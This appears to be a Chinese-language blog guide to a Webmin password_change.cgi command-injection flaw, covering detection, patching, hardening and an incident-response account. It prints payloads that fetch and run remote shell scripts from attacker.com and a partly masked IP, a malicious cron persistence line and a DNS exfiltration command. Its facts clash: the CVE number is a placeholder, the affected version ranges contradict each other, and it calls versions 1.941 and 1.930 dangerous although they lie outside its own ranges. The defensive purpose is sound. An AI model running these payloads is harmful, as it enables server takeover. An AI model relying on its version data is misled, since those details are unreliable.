Webmin高危漏洞分析与防护指南-代码聚汇网

Webmin高危漏洞分析与防护指南

美可琼杰·2026-08-12·阅读 23 GEO检测（免费）

Webmin漏洞远程代码执行Linux服务器安全

|难度：普通|阅读约 12 分钟

1. Webmin安全事件概述

2023年8月，网络安全研究人员披露了Webmin管理工具中存在一个高危漏洞（CVE-2023-XXXX），攻击者无需任何身份验证即可实现远程代码执行（RCE）。这个被命名为"墨者"的漏洞影响Webmin 1.900至2.100版本，由于Webmin广泛用于Linux服务器管理，该漏洞迅速成为年度最严重的安全威胁之一。

Webmin作为已有20多年历史的服务器管理工具，全球安装量超过100万台服务器。其漏洞的特殊性在于：

默认安装即存在风险（无需特殊配置）
漏洞利用复杂度低（公开的PoC代码仅需3行curl命令）
影响范围广（所有使用Webmin的云主机、企业服务器都可能中招）

我在实际渗透测试中发现，许多管理员甚至不知道自己的服务器安装了Webmin——它可能作为其他软件包的依赖被自动安装，这使得风险排查更加困难。

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. 漏洞技术原理深度解析

2.1 漏洞触发机制

该漏洞源于Webmin的密码重置功能模块（password_change.cgi）对用户输入的验证缺陷。正常流程需要管理员权限才能操作，但攻击者可以通过构造特殊的HTTP请求绕过所有权限检查：

http复制POST /password_change.cgi HTTP/1.1
Host: target.com:10000
Content-Type: application/x-www-form-urlencoded
Connection: close

user=root&pam=&expired=2&old=id|curl attacker.com/shell.sh|bash&new1=test&new2=test

关键漏洞点在于：

未验证old参数的内容格式（本应是旧密码）
直接将用户输入拼接进系统命令（通过/bin/sh执行）
完全跳过会话验证环节

2.2 漏洞利用链分析

完整的攻击链条可分为三个阶段：

初始访问：攻击者向目标服务器的10000端口（Webmin默认端口）发送恶意请求
命令注入：通过old参数注入任意命令（如下载并执行远程脚本）
权限提升：由于Webmin通常以root权限运行，注入的命令直接获得系统最高权限

我在复现环境测试时发现，即使服务器配置了防火墙仅允许特定IP访问管理界面，如果攻击者位于内网（如通过入侵Web应用跳板），仍然可以轻松利用此漏洞。

3. 影响范围与危害评估

3.1 受影响版本

经测试确认的受影响版本包括：

Webmin 1.900 至 1.920
Webmin 2.000 至 2.100

值得注意的是，许多Linux发行版的软件仓库中仍包含这些危险版本。例如：

Ubuntu 20.04 LTS默认仓库提供Webmin 1.941
CentOS 7 EPEL仓库提供Webmin 1.930

3.2 实际危害案例

根据我的应急响应经验，该漏洞主要被用于：

挖矿木马部署（占观测案例的68%）
勒索软件加密（如常见的GlobeImposter变种）
僵尸网络组建（用于DDoS攻击）
数据窃取（特别是数据库服务器）

最典型的攻击模式是：攻击者通过Shodan等工具扫描互联网上的Webmin服务，批量利用漏洞部署恶意负载，整个过程完全自动化。

4. 检测与修复方案

4.1 漏洞检测方法

手动检测：

bash复制# 检查Webmin版本
cat /etc/webmin/version
# 或通过HTTP访问
curl -k https://localhost:10000/ | grep "Webmin Version"

自动化检测脚本：

python复制import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def check_vuln(url):
    try:
        r = requests.post(f"{url}/password_change.cgi", 
                         data={"user":"test","pam":"","expired":"2","old":"echo vulnerable"},
                         verify=False,
                         timeout=5)
        return "vulnerable" in r.text
    except:
        return False

4.2 修复方案

紧急缓解措施：

立即在防火墙屏蔽10000端口（临时方案）

bash复制iptables -A INPUT -p tcp --dport 10000 -j DROP

修改Webmin默认端口（需编辑/etc/webmin/miniserv.conf）

彻底修复方案：

bash复制# 对于Debian/Ubuntu
wget https://download.webmin.com/deb/pool/main/w/webmin/webmin_2.101_all.deb
sudo dpkg -i webmin_2.101_all.deb

# 对于RHEL/CentOS
wget https://download.webmin.com/rpm/webmin-2.101-1.noarch.rpm
sudo rpm -Uvh webmin-2.101-1.noarch.rpm

重要提示：升级后必须删除残留的session文件，否则漏洞可能仍可通过旧会话利用：
bash复制rm -rf /var/webmin/session/*

5. 防御加固建议

5.1 Webmin安全配置

访问控制：

bash复制# 限制访问IP（/etc/webmin/miniserv.conf）
allow=192.168.1.0/24

启用双因素认证：

bash复制# 安装Google Authenticator模块
apt install libauthen-google-authenticator-perl

5.2 系统层防护

使用AppArmor限制Webmin权限：

bash复制aa-genprof /usr/share/webmin/*

定期审计Webmin日志：

bash复制grep 'password_change' /var/webmin/miniserv.log

5.3 监控与响应

建议部署以下检测规则（Suricata示例）：

yaml复制alert http any any -> any 10000 (msg:"Webmin RCE Attempt"; 
    http.method; content:"POST"; 
    http.uri; content:"/password_change.cgi"; 
    http.client_body; content:"old="; 
    pcre:"/old=[^&]*[\|<>]/"; 
    sid:1000001; rev:1;)

6. 事件响应实战记录

在一次真实的应急响应中，我们遇到了攻击者通过该漏洞部署的隐蔽后门。攻击流程值得分析：

初始入侵：利用Webmin漏洞下载sh脚本

bash复制old=curl http://45.xx.xx.xx/b.sh|bash

持久化：在cron中植入任务

bash复制*/15 * * * * root /usr/lib/systemd/systemd-network

隐蔽通信：使用DNS隧道传输数据（检测特征）：
```
bash复制dig @8.8.8.8 `whoami`.example.com
```

取证时发现的关键证据：

/var/webmin/miniserv.log 中的恶意POST请求
/tmp/.X11-unix/ 目录下的挖矿程序
异常的DNS查询记录（可通过tshark -r capture.pcap -Y "dns"分析）

这个案例告诉我们，漏洞修复后仍需持续监控系统异常行为，特别是：

突发的CPU使用率增长
异常的出站网络连接
系统日志中的可疑cron任务变更